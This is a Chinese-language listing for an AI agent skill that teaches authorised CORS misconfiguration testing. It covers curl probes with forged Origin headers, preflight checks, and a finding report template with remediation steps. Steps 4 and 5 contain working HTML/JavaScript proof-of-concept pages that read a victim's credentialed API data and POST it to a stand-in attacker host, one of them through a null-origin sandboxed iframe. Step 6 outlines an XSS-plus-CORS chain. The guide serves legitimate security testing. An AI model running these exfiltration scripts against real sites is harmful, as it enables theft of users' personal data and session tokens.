关于 testing-cors-misconfiguration
面向授权安全评估的 CORS 测试技能,适用于 API 和 Web 应用。它按步骤检查 Origin 验证、预检请求及潜在利用条件,并提供结果记录指引。
主要功能
- 01检查 CORS 响应头与 Origin
- 02测试预检请求处理
- 03评估凭据与 null Origin 场景
- 04编写 HTML 概念验证
- 05整理漏洞报告
适用场景
- 01审计 API 跨域访问控制
- 02测试浏览器会话是否泄露敏感数据
- 03检查内部来源的 CORS 访问
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-cors-misconfiguration安装后在 Claude Code 中输入/testing-cors-misconfiguration确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
测试 CORS 配置错误
使用时机
- 在经授权的渗透测试中,评估 API 端点的跨源访问控制时
- 测试会发起跨源 API 请求的单页应用时
- 评估能否从受害者的浏览器会话中窃取敏感数据时
- 评估多个域共享数据的微服务架构时
- 对使用 CORS 标头进行跨域通信的应用开展安全审计时
前提条件
- 授权:针对目标的书面渗透测试协议
- Burp Suite Professional:用于拦截和修改 Origin 标头
- 带 DevTools 的浏览器:用于在真实浏览器环境中观察 CORS 行为
- 攻击者 Web 服务器:用于托管 CORS 利用 PoC 页面
- curl:用于手动测试 CORS 标头
- Python HTTP 服务器:用于在本地托管利用页面
工作流
步骤 1:识别目标端点上的 CORS 配置
检查所有 API 端点的 CORS 响应标头。
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
步骤 2:测试 Origin 反射和验证绕过
确定服务器如何验证 Origin 标头。
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
步骤 3:测试预检请求处理
评估服务器如何处理 OPTIONS 预检请求。
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
步骤 4:编写 CORS 利用概念验证
构建一个利用 CORS 配置错误窃取数据的 HTML 页面。
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
步骤 5:利用 Null Origin 漏洞
如果允许使用 Origin: null,则通过沙盒 iframe 发起利用。
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
步骤 6:测试通过 CORS 访问内部网络的情况
检查 CORS 是否允许来自内部源的访问,以便通过 XSS 加以利用。
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
核心概念
| 概念 | 描述 |
|---|---|
| 同源策略 | 浏览器安全模型,用于阻止某个源中的脚本访问另一个源中的数据 |
| CORS | 一种机制,允许服务器指定哪些源可以访问其资源 |
| Origin 反射 | 服务器在 ACAO 响应标头中镜像请求的 Origin 标头(存在危险) |
| Null Origin | 来自沙盒 iframe、数据 URI 和重定向的特殊源值 |
| 预检请求 | 在某些跨源请求之前发送的 OPTIONS 请求,用于检查权限 |
| 带凭据的请求 | 包含 Cookie 的跨源请求,需要显式设置 ACAO + ACAC 标头 |
| 通配符 CORS | Access-Control-Allow-Origin: * 允许任何源,但禁止使用凭据 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 拦截请求并修改 Origin 标头 |
| CORScanner | 自动化 CORS 配置错误扫描器(pip install corscanner) |
| cors-scanner | 基于 Node.js 的 CORS 测试工具 |
| 浏览器 DevTools | 在真实浏览器环境中监控 CORS 错误和网络请求 |
| Python http.server | 托管 CORS 利用 PoC 页面 |
| OWASP ZAP | 自动检测 CORS 配置错误 |
常见场景
场景 1:完全反射 Origin
API 将任意 Origin 标头反射到 Access-Control-Allow-Origin 中,并设置 Access-Control-Allow-Credentials: true。任何网站都能读取经过身份验证的 API 响应,从而窃取用户数据。
场景 2:允许 Null Origin
服务器允许带凭据的 Origin: null。攻击者页面通过沙盒 iframe 向 API 发送带凭据的请求,并读取响应数据。
场景 3:信任子域通配符
CORS 策略允许 *.target.example.com。攻击者在 forum.target.example.com 上发现 XSS,并利用它向 api.target.example.com 发起跨源请求,通过受信任的子域窃取用户数据。
场景 4:Origin 验证中的正则绕过
服务器使用正则表达式 target\.example\.com 验证源,但未能锚定正则表达式。attackertarget.example.com 会匹配并获准访问。
输出格式
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
评论
支持 Markdown